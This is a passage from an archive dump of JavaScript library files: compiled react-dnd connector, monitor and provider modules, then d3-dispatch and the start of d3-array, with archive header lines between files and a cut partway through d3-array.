      this.reconnectDragPreview();
    }
  }, {
    key: "reconnectDragSource",
    value: function reconnectDragSource() {
      var dragSource = this.dragSource; // if nothing has changed then don't resubscribe

      var didChange = this.didHandlerIdChange() || this.didConnectedDragSourceChange() || this.didDragSourceOptionsChange();

      if (didChange) {
        this.disconnectDragSource();
      }

      if (!this.handlerId) {
        return;
      }

      if (!dragSource) {
        this.lastConnectedDragSource = dragSource;
        return;
      }

      if (didChange) {
        this.lastConnectedHandlerId = this.handlerId;
        this.lastConnectedDragSource = dragSource;
        this.lastConnectedDragSourceOptions = this.dragSourceOptions;
        this.dragSourceUnsubscribe = this.backend.connectDragSource(this.handlerId, dragSource, this.dragSourceOptions);
      }
    }
  }, {
    key: "reconnectDragPreview",
    value: function reconnectDragPreview() {
      var dragPreview = this.dragPreview; // if nothing has changed then don't resubscribe

      var didChange = this.didHandlerIdChange() || this.didConnectedDragPreviewChange() || this.didDragPreviewOptionsChange();

      if (didChange) {
        this.disconnectDragPreview();
      }

      if (!this.handlerId) {
        return;
      }

      if (!dragPreview) {
        this.lastConnectedDragPreview = dragPreview;
        return;
      }

      if (didChange) {
        this.lastConnectedHandlerId = this.handlerId;
        this.lastConnectedDragPreview = dragPreview;
        this.lastConnectedDragPreviewOptions = this.dragPreviewOptions;
        this.dragPreviewUnsubscribe = this.backend.connectDragPreview(this.handlerId, dragPreview, this.dragPreviewOptions);
      }
    }
  }, {
    key: "didHandlerIdChange",
    value: function didHandlerIdChange() {
      return this.lastConnectedHandlerId !== this.handlerId;
    }
  }, {
    key: "didConnectedDragSourceChange",
    value: function didConnectedDragSourceChange() {
      return this.lastConnectedDragSource !== this.dragSource;
    }
  }, {
    key: "didConnectedDragPreviewChange",
    value: function didConnectedDragPreviewChange() {
      return this.lastConnectedDragPreview !== this.dragPreview;
    }
  }, {
    key: "didDragSourceOptionsChange",
    value: function didDragSourceOptionsChange() {
      return !shallowEqual(this.lastConnectedDragSourceOptions, this.dragSourceOptions);
    }
  }, {
    key: "didDragPreviewOptionsChange",
    value: function didDragPreviewOptionsChange() {
      return !shallowEqual(this.lastConnectedDragPreviewOptions, this.dragPreviewOptions);
    }
  }, {
    key: "disconnectDragSource",
    value: function disconnectDragSource() {
      if (this.dragSourceUnsubscribe) {
        this.dragSourceUnsubscribe();
        this.dragSourceUnsubscribe = undefined;
      }
    }
  }, {
    key: "disconnectDragPreview",
    value: function disconnectDragPreview() {
      if (this.dragPreviewUnsubscribe) {
        this.dragPreviewUnsubscribe();
        this.dragPreviewUnsubscribe = undefined;
        this.dragPreviewNode = null;
        this.dragPreviewRef = null;
      }
    }
  }, {
    key: "clearDragSource",
    value: function clearDragSource() {
      this.dragSourceNode = null;
      this.dragSourceRef = null;
    }
  }, {
    key: "clearDragPreview",
    value: function clearDragPreview() {
      this.dragPreviewNode = null;
      this.dragPreviewRef = null;
    }
  }, {
    key: "connectTarget",
    get: function get() {
      return this.dragSource;
    }
  }, {
    key: "dragSourceOptions",
    get: function get() {
      return this.dragSourceOptionsInternal;
    },
    set: function set(options) {
      this.dragSourceOptionsInternal = options;
    }
  }, {
    key: "dragPreviewOptions",
    get: function get() {
      return this.dragPreviewOptionsInternal;
    },
    set: function set(options) {
      this.dragPreviewOptionsInternal = options;
    }
  }, {
    key: "dragSource",
    get: function get() {
      return this.dragSourceNode || this.dragSourceRef && this.dragSourceRef.current;
    }
  }, {
    key: "dragPreview",
    get: function get() {
      return this.dragPreviewNode || this.dragPreviewRef && this.dragPreviewRef.current;
    }
  }]);

  return SourceConnector;
}();esm/common/DropTargetMonitorImpl.js000064400000007123151677306070013442 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

import { invariant } from '@react-dnd/invariant';
var isCallingCanDrop = false;
export var DropTargetMonitorImpl = /*#__PURE__*/function () {
  function DropTargetMonitorImpl(manager) {
    _classCallCheck(this, DropTargetMonitorImpl);

    this.targetId = null;
    this.internalMonitor = manager.getMonitor();
  }

  _createClass(DropTargetMonitorImpl, [{
    key: "receiveHandlerId",
    value: function receiveHandlerId(targetId) {
      this.targetId = targetId;
    }
  }, {
    key: "getHandlerId",
    value: function getHandlerId() {
      return this.targetId;
    }
  }, {
    key: "subscribeToStateChange",
    value: function subscribeToStateChange(listener, options) {
      return this.internalMonitor.subscribeToStateChange(listener, options);
    }
  }, {
    key: "canDrop",
    value: function canDrop() {
      // Cut out early if the target id has not been set. This should prevent errors
      // where the user has an older version of dnd-core like in
      // https://github.com/react-dnd/react-dnd/issues/1310
      if (!this.targetId) {
        return false;
      }

      invariant(!isCallingCanDrop, 'You may not call monitor.canDrop() inside your canDrop() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target-monitor');

      try {
        isCallingCanDrop = true;
        return this.internalMonitor.canDropOnTarget(this.targetId);
      } finally {
        isCallingCanDrop = false;
      }
    }
  }, {
    key: "isOver",
    value: function isOver(options) {
      if (!this.targetId) {
        return false;
      }

      return this.internalMonitor.isOverTarget(this.targetId, options);
    }
  }, {
    key: "getItemType",
    value: function getItemType() {
      return this.internalMonitor.getItemType();
    }
  }, {
    key: "getItem",
    value: function getItem() {
      return this.internalMonitor.getItem();
    }
  }, {
    key: "getDropResult",
    value: function getDropResult() {
      return this.internalMonitor.getDropResult();
    }
  }, {
    key: "didDrop",
    value: function didDrop() {
      return this.internalMonitor.didDrop();
    }
  }, {
    key: "getInitialClientOffset",
    value: function getInitialClientOffset() {
      return this.internalMonitor.getInitialClientOffset();
    }
  }, {
    key: "getInitialSourceClientOffset",
    value: function getInitialSourceClientOffset() {
      return this.internalMonitor.getInitialSourceClientOffset();
    }
  }, {
    key: "getSourceClientOffset",
    value: function getSourceClientOffset() {
      return this.internalMonitor.getSourceClientOffset();
    }
  }, {
    key: "getClientOffset",
    value: function getClientOffset() {
      return this.internalMonitor.getClientOffset();
    }
  }, {
    key: "getDifferenceFromInitialOffset",
    value: function getDifferenceFromInitialOffset() {
      return this.internalMonitor.getDifferenceFromInitialOffset();
    }
  }]);

  return DropTargetMonitorImpl;
}();esm/common/DndProvider.js000064400000010612151677306070011412 0ustar00function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; }

function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }

import * as React from 'react';
import { memo } from 'react';
import { DndContext, createDndContext } from './DndContext';
var refCount = 0;
/**
 * A React component that provides the React-DnD context
 */

export var DndProvider = memo(function (_ref) {
  var children = _ref.children,
      props = _objectWithoutProperties(_ref, ["children"]);

  var _getDndContextValue = getDndContextValue(props),
      _getDndContextValue2 = _slicedToArray(_getDndContextValue, 2),
      manager = _getDndContextValue2[0],
      isGlobalInstance = _getDndContextValue2[1]; // memoized from props

  /**
   * If the global context was used to store the DND context
   * then where theres no more references to it we should
   * clean it up to avoid memory leaks
   */


  React.useEffect(function () {
    if (isGlobalInstance) {
      refCount++;
    }

    return function () {
      if (isGlobalInstance) {
        refCount--;

        if (refCount === 0) {
          var context = getGlobalContext();
          context[instanceSymbol] = null;
        }
      }
    };
  }, []);
  return React.createElement(DndContext.Provider, {
    value: manager
  }, children);
});
DndProvider.displayName = 'DndProvider';

function getDndContextValue(props) {
  if ('manager' in props) {
    var _manager = {
      dragDropManager: props.manager
    };
    return [_manager, false];
  }

  var manager = createSingletonDndContext(props.backend, props.context, props.options, props.debugMode);
  var isGlobalInstance = !props.context;
  return [manager, isGlobalInstance];
}

var instanceSymbol = Symbol.for('__REACT_DND_CONTEXT_INSTANCE__');

function createSingletonDndContext(backend) {
  var context = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : getGlobalContext();
  var options = arguments.length > 2 ? arguments[2] : undefined;
  var debugMode = arguments.length > 3 ? arguments[3] : undefined;
  var ctx = context;

  if (!ctx[instanceSymbol]) {
    ctx[instanceSymbol] = createDndContext(backend, context, options, debugMode);
  }

  return ctx[instanceSymbol];
}

function getGlobalContext() {
  return typeof global !== 'undefined' ? global : window;
}esm/common/wrapConnectorHooks.js000064400000004166151677306070013031 0ustar00import { isValidElement } from 'react';
import { cloneWithRef } from '../utils/cloneWithRef';

function throwIfCompositeComponentElement(element) {
  // Custom components can no longer be wrapped directly in React DnD 2.0
  // so that we don't need to depend on findDOMNode() from react-dom.
  if (typeof element.type === 'string') {
    return;
  }

  var displayName = element.type.displayName || element.type.name || 'the component';
  throw new Error('Only native element nodes can now be passed to React DnD connectors.' + "You can either wrap ".concat(displayName, " into a <div>, or turn it into a ") + 'drag source or a drop target itself.');
}

function wrapHookToRecognizeElement(hook) {
  return function () {
    var elementOrNode = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null;
    var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null;

    // When passed a node, call the hook straight away.
    if (!isValidElement(elementOrNode)) {
      var node = elementOrNode;
      hook(node, options); // return the node so it can be chained (e.g. when within callback refs
      // <div ref={node => connectDragSource(connectDropTarget(node))}/>

      return node;
    } // If passed a ReactElement, clone it and attach this function as a ref.
    // This helps us achieve a neat API where user doesn't even know that refs
    // are being used under the hood.


    var element = elementOrNode;
    throwIfCompositeComponentElement(element); // When no options are passed, use the hook directly

    var ref = options ? function (node) {
      return hook(node, options);
    } : hook;
    return cloneWithRef(element, ref);
  };
}

export function wrapConnectorHooks(hooks) {
  var wrappedHooks = {};
  Object.keys(hooks).forEach(function (key) {
    var hook = hooks[key]; // ref objects should be passed straight through without wrapping

    if (key.endsWith('Ref')) {
      wrappedHooks[key] = hooks[key];
    } else {
      var wrappedHook = wrapHookToRecognizeElement(hook);

      wrappedHooks[key] = function () {
        return wrappedHook;
      };
    }
  });
  return wrappedHooks;
}esm/common/index.js000064400000000140151677306070010274 0ustar00export * from './DndContext';
export * from './DndProvider';
export * from './DragPreviewImage';esm/common/TargetConnector.js000064400000007775151677306070012313 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

import { shallowEqual } from '@react-dnd/shallowequal';
import { wrapConnectorHooks } from './wrapConnectorHooks';
import { isRef } from '../utils/isRef';
export var TargetConnector = /*#__PURE__*/function () {
  function TargetConnector(backend) {
    var _this = this;

    _classCallCheck(this, TargetConnector);

    this.hooks = wrapConnectorHooks({
      dropTarget: function dropTarget(node, options) {
        _this.clearDropTarget();

        _this.dropTargetOptions = options;

        if (isRef(node)) {
          _this.dropTargetRef = node;
        } else {
          _this.dropTargetNode = node;
        }

        _this.reconnect();
      }
    });
    this.handlerId = null; // The drop target may either be attached via ref or connect function

    this.dropTargetRef = null;
    this.dropTargetOptionsInternal = null;
    this.lastConnectedHandlerId = null;
    this.lastConnectedDropTarget = null;
    this.lastConnectedDropTargetOptions = null;
    this.backend = backend;
  }

  _createClass(TargetConnector, [{
    key: "reconnect",
    value: function reconnect() {
      // if nothing has changed then don't resubscribe
      var didChange = this.didHandlerIdChange() || this.didDropTargetChange() || this.didOptionsChange();

      if (didChange) {
        this.disconnectDropTarget();
      }

      var dropTarget = this.dropTarget;

      if (!this.handlerId) {
        return;
      }

      if (!dropTarget) {
        this.lastConnectedDropTarget = dropTarget;
        return;
      }

      if (didChange) {
        this.lastConnectedHandlerId = this.handlerId;
        this.lastConnectedDropTarget = dropTarget;
        this.lastConnectedDropTargetOptions = this.dropTargetOptions;
        this.unsubscribeDropTarget = this.backend.connectDropTarget(this.handlerId, dropTarget, this.dropTargetOptions);
      }
    }
  }, {
    key: "receiveHandlerId",
    value: function receiveHandlerId(newHandlerId) {
      if (newHandlerId === this.handlerId) {
        return;
      }

      this.handlerId = newHandlerId;
      this.reconnect();
    }
  }, {
    key: "didHandlerIdChange",
    value: function didHandlerIdChange() {
      return this.lastConnectedHandlerId !== this.handlerId;
    }
  }, {
    key: "didDropTargetChange",
    value: function didDropTargetChange() {
      return this.lastConnectedDropTarget !== this.dropTarget;
    }
  }, {
    key: "didOptionsChange",
    value: function didOptionsChange() {
      return !shallowEqual(this.lastConnectedDropTargetOptions, this.dropTargetOptions);
    }
  }, {
    key: "disconnectDropTarget",
    value: function disconnectDropTarget() {
      if (this.unsubscribeDropTarget) {
        this.unsubscribeDropTarget();
        this.unsubscribeDropTarget = undefined;
      }
    }
  }, {
    key: "clearDropTarget",
    value: function clearDropTarget() {
      this.dropTargetRef = null;
      this.dropTargetNode = null;
    }
  }, {
    key: "connectTarget",
    get: function get() {
      return this.dropTarget;
    }
  }, {
    key: "dropTargetOptions",
    get: function get() {
      return this.dropTargetOptionsInternal;
    },
    set: function set(options) {
      this.dropTargetOptionsInternal = options;
    }
  }, {
    key: "dropTarget",
    get: function get() {
      return this.dropTargetNode || this.dropTargetRef && this.dropTargetRef.current;
    }
  }]);

  return TargetConnector;
}();esm/common/DndContext.js000064400000000714151677306070011246 0ustar00import * as React from 'react';
import { createDragDropManager } from 'dnd-core';
/**
 * Create the React Context
 */

export var DndContext = React.createContext({
  dragDropManager: undefined
});
/**
 * Creates the context object we're providing
 * @param backend
 * @param context
 */

export function createDndContext(backend, context, options, debugMode) {
  return {
    dragDropManager: createDragDropManager(backend, context, options, debugMode)
  };
}esm/common/DragPreviewImage.js000064400000001123151677306070012351 0ustar00import * as React from 'react';
/*
 * A utility for rendering a drag preview image
 */

export var DragPreviewImage = React.memo(function (_ref) {
  var connect = _ref.connect,
      src = _ref.src;
  React.useEffect(function () {
    if (typeof Image === 'undefined') return;
    var connected = false;
    var img = new Image();
    img.src = src;

    img.onload = function () {
      connect(img);
      connected = true;
    };

    return function () {
      if (connected) {
        connect(null);
      }
    };
  });
  return null;
});
DragPreviewImage.displayName = 'DragPreviewImage';esm/common/DragSourceMonitorImpl.js000064400000011444151677306070013426 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

import { invariant } from '@react-dnd/invariant';
var isCallingCanDrag = false;
var isCallingIsDragging = false;
export var DragSourceMonitorImpl = /*#__PURE__*/function () {
  function DragSourceMonitorImpl(manager) {
    _classCallCheck(this, DragSourceMonitorImpl);

    this.sourceId = null;
    this.internalMonitor = manager.getMonitor();
  }

  _createClass(DragSourceMonitorImpl, [{
    key: "receiveHandlerId",
    value: function receiveHandlerId(sourceId) {
      this.sourceId = sourceId;
    }
  }, {
    key: "getHandlerId",
    value: function getHandlerId() {
      return this.sourceId;
    }
  }, {
    key: "canDrag",
    value: function canDrag() {
      invariant(!isCallingCanDrag, 'You may not call monitor.canDrag() inside your canDrag() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor');

      try {
        isCallingCanDrag = true;
        return this.internalMonitor.canDragSource(this.sourceId);
      } finally {
        isCallingCanDrag = false;
      }
    }
  }, {
    key: "isDragging",
    value: function isDragging() {
      if (!this.sourceId) {
        return false;
      }

      invariant(!isCallingIsDragging, 'You may not call monitor.isDragging() inside your isDragging() implementation. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor');

      try {
        isCallingIsDragging = true;
        return this.internalMonitor.isDraggingSource(this.sourceId);
      } finally {
        isCallingIsDragging = false;
      }
    }
  }, {
    key: "subscribeToStateChange",
    value: function subscribeToStateChange(listener, options) {
      return this.internalMonitor.subscribeToStateChange(listener, options);
    }
  }, {
    key: "isDraggingSource",
    value: function isDraggingSource(sourceId) {
      return this.internalMonitor.isDraggingSource(sourceId);
    }
  }, {
    key: "isOverTarget",
    value: function isOverTarget(targetId, options) {
      return this.internalMonitor.isOverTarget(targetId, options);
    }
  }, {
    key: "getTargetIds",
    value: function getTargetIds() {
      return this.internalMonitor.getTargetIds();
    }
  }, {
    key: "isSourcePublic",
    value: function isSourcePublic() {
      return this.internalMonitor.isSourcePublic();
    }
  }, {
    key: "getSourceId",
    value: function getSourceId() {
      return this.internalMonitor.getSourceId();
    }
  }, {
    key: "subscribeToOffsetChange",
    value: function subscribeToOffsetChange(listener) {
      return this.internalMonitor.subscribeToOffsetChange(listener);
    }
  }, {
    key: "canDragSource",
    value: function canDragSource(sourceId) {
      return this.internalMonitor.canDragSource(sourceId);
    }
  }, {
    key: "canDropOnTarget",
    value: function canDropOnTarget(targetId) {
      return this.internalMonitor.canDropOnTarget(targetId);
    }
  }, {
    key: "getItemType",
    value: function getItemType() {
      return this.internalMonitor.getItemType();
    }
  }, {
    key: "getItem",
    value: function getItem() {
      return this.internalMonitor.getItem();
    }
  }, {
    key: "getDropResult",
    value: function getDropResult() {
      return this.internalMonitor.getDropResult();
    }
  }, {
    key: "didDrop",
    value: function didDrop() {
      return this.internalMonitor.didDrop();
    }
  }, {
    key: "getInitialClientOffset",
    value: function getInitialClientOffset() {
      return this.internalMonitor.getInitialClientOffset();
    }
  }, {
    key: "getInitialSourceClientOffset",
    value: function getInitialSourceClientOffset() {
      return this.internalMonitor.getInitialSourceClientOffset();
    }
  }, {
    key: "getSourceClientOffset",
    value: function getSourceClientOffset() {
      return this.internalMonitor.getSourceClientOffset();
    }
  }, {
    key: "getClientOffset",
    value: function getClientOffset() {
      return this.internalMonitor.getClientOffset();
    }
  }, {
    key: "getDifferenceFromInitialOffset",
    value: function getDifferenceFromInitialOffset() {
      return this.internalMonitor.getDifferenceFromInitialOffset();
    }
  }]);

  return DragSourceMonitorImpl;
}();esm/common/registration.js000064400000000721151677306070011704 0ustar00export function registerTarget(type, target, manager) {
  var registry = manager.getRegistry();
  var targetId = registry.addTarget(type, target);
  return [targetId, function () {
    return registry.removeTarget(targetId);
  }];
}
export function registerSource(type, source, manager) {
  var registry = manager.getRegistry();
  var sourceId = registry.addSource(type, source);
  return [sourceId, function () {
    return registry.removeSource(sourceId);
  }];
}d3-dispatch.min.js000064400000003423151677306560010011 0ustar00// https://d3js.org/d3-dispatch/ v1.0.5 Copyright 2018 Mike Bostock
!function(n,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e(n.d3=n.d3||{})}(this,function(n){"use strict";var e={value:function(){}};function t(){for(var n,e=0,t=arguments.length,o={};e<t;++e){if(!(n=arguments[e]+"")||n in o)throw new Error("illegal type: "+n);o[n]=[]}return new r(o)}function r(n){this._=n}function o(n,e){for(var t,r=0,o=n.length;r<o;++r)if((t=n[r]).name===e)return t.value}function i(n,t,r){for(var o=0,i=n.length;o<i;++o)if(n[o].name===t){n[o]=e,n=n.slice(0,o).concat(n.slice(o+1));break}return null!=r&&n.push({name:t,value:r}),n}r.prototype=t.prototype={constructor:r,on:function(n,e){var t,r,f=this._,l=(r=f,(n+"").trim().split(/^|\s+/).map(function(n){var e="",t=n.indexOf(".");if(t>=0&&(e=n.slice(t+1),n=n.slice(0,t)),n&&!r.hasOwnProperty(n))throw new Error("unknown type: "+n);return{type:n,name:e}})),a=-1,u=l.length;if(!(arguments.length<2)){if(null!=e&&"function"!=typeof e)throw new Error("invalid callback: "+e);for(;++a<u;)if(t=(n=l[a]).type)f[t]=i(f[t],n.name,e);else if(null==e)for(t in f)f[t]=i(f[t],n.name,null);return this}for(;++a<u;)if((t=(n=l[a]).type)&&(t=o(f[t],n.name)))return t},copy:function(){var n={},e=this._;for(var t in e)n[t]=e[t].slice();return new r(n)},call:function(n,e){if((t=arguments.length-2)>0)for(var t,r,o=new Array(t),i=0;i<t;++i)o[i]=arguments[i+2];if(!this._.hasOwnProperty(n))throw new Error("unknown type: "+n);for(i=0,t=(r=this._[n]).length;i<t;++i)r[i].value.apply(e,o)},apply:function(n,e,t){if(!this._.hasOwnProperty(n))throw new Error("unknown type: "+n);for(var r=this._[n],o=0,i=r.length;o<i;++o)r[o].value.apply(e,t)}},n.dispatch=t,Object.defineProperty(n,"__esModule",{value:!0})});
d3-dispatch.js000064400000006252151677306560007232 0ustar00// https://d3js.org/d3-dispatch/ v1.0.5 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(factory((global.d3 = global.d3 || {})));
}(this, (function (exports) { 'use strict';

var noop = {value: function() {}};

function dispatch() {
  for (var i = 0, n = arguments.length, _ = {}, t; i < n; ++i) {
    if (!(t = arguments[i] + "") || (t in _)) throw new Error("illegal type: " + t);
    _[t] = [];
  }
  return new Dispatch(_);
}

function Dispatch(_) {
  this._ = _;
}

function parseTypenames(typenames, types) {
  return typenames.trim().split(/^|\s+/).map(function(t) {
    var name = "", i = t.indexOf(".");
    if (i >= 0) name = t.slice(i + 1), t = t.slice(0, i);
    if (t && !types.hasOwnProperty(t)) throw new Error("unknown type: " + t);
    return {type: t, name: name};
  });
}

Dispatch.prototype = dispatch.prototype = {
  constructor: Dispatch,
  on: function(typename, callback) {
    var _ = this._,
        T = parseTypenames(typename + "", _),
        t,
        i = -1,
        n = T.length;

    // If no callback was specified, return the callback of the given type and name.
    if (arguments.length < 2) {
      while (++i < n) if ((t = (typename = T[i]).type) && (t = get(_[t], typename.name))) return t;
      return;
    }

    // If a type was specified, set the callback for the given type and name.
    // Otherwise, if a null callback was specified, remove callbacks of the given name.
    if (callback != null && typeof callback !== "function") throw new Error("invalid callback: " + callback);
    while (++i < n) {
      if (t = (typename = T[i]).type) _[t] = set(_[t], typename.name, callback);
      else if (callback == null) for (t in _) _[t] = set(_[t], typename.name, null);
    }

    return this;
  },
  copy: function() {
    var copy = {}, _ = this._;
    for (var t in _) copy[t] = _[t].slice();
    return new Dispatch(copy);
  },
  call: function(type, that) {
    if ((n = arguments.length - 2) > 0) for (var args = new Array(n), i = 0, n, t; i < n; ++i) args[i] = arguments[i + 2];
    if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type);
    for (t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args);
  },
  apply: function(type, that, args) {
    if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type);
    for (var t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args);
  }
};

function get(type, name) {
  for (var i = 0, n = type.length, c; i < n; ++i) {
    if ((c = type[i]).name === name) {
      return c.value;
    }
  }
}

function set(type, name, callback) {
  for (var i = 0, n = type.length; i < n; ++i) {
    if (type[i].name === name) {
      type[i] = noop, type = type.slice(0, i).concat(type.slice(i + 1));
      break;
    }
  }
  if (callback != null) type.push({name: name, value: callback});
  return type;
}

exports.dispatch = dispatch;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-array.js000064400000034073151677306570006554 0ustar00// https://d3js.org/d3-array/ v1.2.4 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(factory((global.d3 = global.d3 || {})));
}(this, (function (exports) { 'use strict';

function ascending(a, b) {
  return a < b ? -1 : a > b ? 1 : a >= b ? 0 : NaN;
}

function bisector(compare) {
  if (compare.length === 1) compare = ascendingComparator(compare);
  return {
    left: function(a, x, lo, hi) {
      if (lo == null) lo = 0;
      if (hi == null) hi = a.length;
      while (lo < hi) {
        var mid = lo + hi >>> 1;
        if (compare(a[mid], x) < 0) lo = mid + 1;
        else hi = mid;
      }
      return lo;
    },
    right: function(a, x, lo, hi) {
      if (lo == null) lo = 0;
      if (hi == null) hi = a.length;
      while (lo < hi) {
        var mid = lo + hi >>> 1;
        if (compare(a[mid], x) > 0) hi = mid;
        else lo = mid + 1;
      }
      return lo;
    }
  };
}

function ascendingComparator(f) {
  return function(d, x) {
    return ascending(f(d), x);
  };
}

var ascendingBisect = bisector(ascending);
var bisectRight = ascendingBisect.right;
var bisectLeft = ascendingBisect.left;

function pairs(array, f) {
  if (f == null) f = pair;
  var i = 0, n = array.length - 1, p = array[0], pairs = new Array(n < 0 ? 0 : n);
  while (i < n) pairs[i] = f(p, p = array[++i]);
  return pairs;
}

function pair(a, b) {
  return [a, b];
}

function cross(values0, values1, reduce) {
  var n0 = values0.length,
      n1 = values1.length,
      values = new Array(n0 * n1),
      i0,
      i1,
      i,
      value0;

  if (reduce == null) reduce = pair;

  for (i0 = i = 0; i0 < n0; ++i0) {
    for (value0 = values0[i0], i1 = 0; i1 < n1; ++i1, ++i) {
      values[i] = reduce(value0, values1[i1]);
    }
  }

  return values;
}

function descending(a, b) {
  return b < a ? -1 : b > a ? 1 : b >= a ? 0 : NaN;
}

function number(x) {
  return x === null ? NaN : +x;
}

function variance(values, valueof) {
  var n = values.length,
      m = 0,
      i = -1,
      mean = 0,
      value,
      delta,
      sum = 0;

  if (valueof == null) {
    while (++i < n) {
      if (!isNaN(value = number(values[i]))) {
        delta = value - mean;
        mean += delta / ++m;
        sum += delta * (value - mean);
      }
    }
  }

  else {
    while (++i < n) {
      if (!isNaN(value = number(valueof(values[i], i, values)))) {
        delta = value - mean;
        mean += delta / ++m;
        sum += delta * (value - mean);
      }
    }
  }

  if (m > 1) return sum / (m - 1);
}

function deviation(array, f) {
  var v = variance(array, f);
  return v ? Math.sqrt(v) : v;
}

function extent(values, valueof) {
  var n = values.length,
      i = -1,
      value,
      min,
      max;

  if (valueof == null) {
    while (++i < n) { // Find the first comparable value.
      if ((value = values[i]) != null && value >= value) {
        min = max = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = values[i]) != null) {
            if (min > value) min = value;
            if (max < value) max = value;
          }
        }
      }
    }
  }

  else {
    while (++i < n) { // Find the first comparable value.
      if ((value = valueof(values[i], i, values)) != null && value >= value) {
        min = max = value;
        while (++i < n) { // Compare the remaining values.
          if ((value = valueof(values[i], i, values)) != null) {
            if (min > value) min = value;
            if (max < value) max = value;
          }
        }
      }
    }
  }

  return [min, max];
}

var array = Array.prototype;

var slice = array.slice;
var map = array.map;

function constant(x) {
  return function() {
    return x;
  };
}

function identity(x) {
  return x;
}

function range(start, stop, step) {
  start = +start, stop = +stop, step = (n = arguments.length) < 2 ? (stop = start, start = 0, 1) : n < 3 ? 1 : +step;

  var i = -1,
      n = Math.max(0, Math.ceil((stop - start) / step)) | 0,
      range = new Array(n);

  while (++i < n) {
    range[i] = start + i * step;
  }

  return range;
}

var e10 = Math.sqrt(50),
    e5 = Math.sqrt(10),
    e2 = Math.sqrt(2);

function ticks(start, stop, count) {
  var reverse,
      i = -1,
      n,
      ticks,
      step;

  stop = +stop, start = +start, count = +count;
  if (start === stop && count > 0) return [start];
  if (reverse = stop < start) n = start, start = stop, stop = n;
  if ((step = tickIncrement(start, stop, count)) === 0 || !isFinite(step)) return [];

  if (step > 0) {
    start = Math.ceil(start / step);
    stop = Math.floor(stop / step);
    ticks = new Array(n = Math.ceil(stop - start + 1));
